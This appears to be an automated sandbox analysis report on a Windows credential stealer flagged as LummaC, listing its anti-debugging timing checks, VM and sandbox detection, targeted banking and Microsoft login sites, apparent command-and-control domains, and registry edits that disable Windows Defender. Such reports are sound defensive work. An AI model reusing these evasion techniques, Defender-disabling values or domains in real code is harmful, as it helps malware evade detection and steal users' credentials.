Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 50958C second address: 509590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 509590 second address: 5095C1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F6BBC84054Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F6BBC840555h 0x00000015 jg 00007F6BBC840546h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 5099D6 second address: 5099DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 5099DA second address: 5099E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 5099E4 second address: 5099EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 509B0E second address: 509B12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 509B12 second address: 509B1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 50A77A second address: 50A77E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 50A77E second address: 50A7A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F6BBC80E21Ch 0x0000000e pushad 0x0000000f popad 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007F6BBC80E216h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 50A7A0 second address: 50A7A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 50ACC7 second address: 50ACDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E21Eh 0x00000007 jl 00007F6BBC80E222h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 50ACDF second address: 50ACE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 513D91 second address: 513D96 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 5189AD second address: 5189B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 5189B3 second address: 5189BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 5189BB second address: 5189C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 5189C2 second address: 5189CC instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6BBC80E222h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 5189CC second address: 5189D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4CDF52 second address: 4CDF57 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 517E2A second address: 517E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F6BBC840546h 0x0000000a pop ecx 0x0000000b jmp 00007F6BBC840558h 0x00000010 popad 0x00000011 jo 00007F6BBC840558h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 517E58 second address: 517E5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 5180DB second address: 5180DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 5180DF second address: 5180E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 5184DE second address: 5184EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F6BBC840546h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 5187FA second address: 5187FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 5187FE second address: 51881E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6BBC840546h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6BBC840550h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 51881E second address: 518822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 518822 second address: 51883B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC840555h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 51883B second address: 51885F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F6BBC80E21Bh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F6BBC80E21Ch 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 51885F second address: 518866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 518866 second address: 51886B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 51886B second address: 518871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 51A6F5 second address: 51A6F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 51A774 second address: 51A7AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 xor dword ptr [esp], 7CB34261h 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F6BBC840548h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 push 3478B041h 0x0000002c push eax 0x0000002d push edx 0x0000002e jng 00007F6BBC84054Ch 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 51A7AE second address: 51A7B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 51A88C second address: 51A891 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D8EF8F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D8EEE9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F34C6B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F57E34 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F3B65B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Special instruction interceptor: First address: 36DD0F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Special instruction interceptor: First address: 512635 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Special instruction interceptor: First address: 5A88CD instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Memory allocated: 4B70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Memory allocated: 4CF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Memory allocated: 6CF0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe

Code function: 3_2_004E7947 rdtsc

3_2_004E7947

Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 6592	Thread sleep time: -60000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe TID: 380	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: file.exe, 00000000.00000002.2293574491.0000000000F14000.00000040.00000001.01000000.00000003.sdmp, RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe, RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe, 00000003.00000002.2430243955.00000000004EF000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000003.2125482022.000000000580E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000003.2088409547.0000000000B92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2291918514.0000000000B8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290525499.0000000000B70000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291052902.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000002.2291489604.0000000000B1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWxf
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000003.2088409547.0000000000B92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2291918514.0000000000B8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290525499.0000000000B70000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291052902.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnk7
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2125482022.000000000580E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2293574491.0000000000F14000.00000040.00000001.01000000.00000003.sdmp, RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe, 00000003.00000002.2430243955.00000000004EF000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000003.2125578718.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe

Code function: 3_2_004E7947 rdtsc

3_2_004E7947

Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe

Code function: 3_2_0036B7B2 LdrInitializeThunk,

3_2_0036B7B2

Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2073375600.0000000004D20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.2073375600.0000000004D20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.2073375600.0000000004D20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.2073375600.0000000004D20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.2073375600.0000000004D20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.2073375600.0000000004D20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.2073375600.0000000004D20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.2073375600.0000000004D20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: file.exe, 00000000.00000002.2293738649.0000000000F56000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: [Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
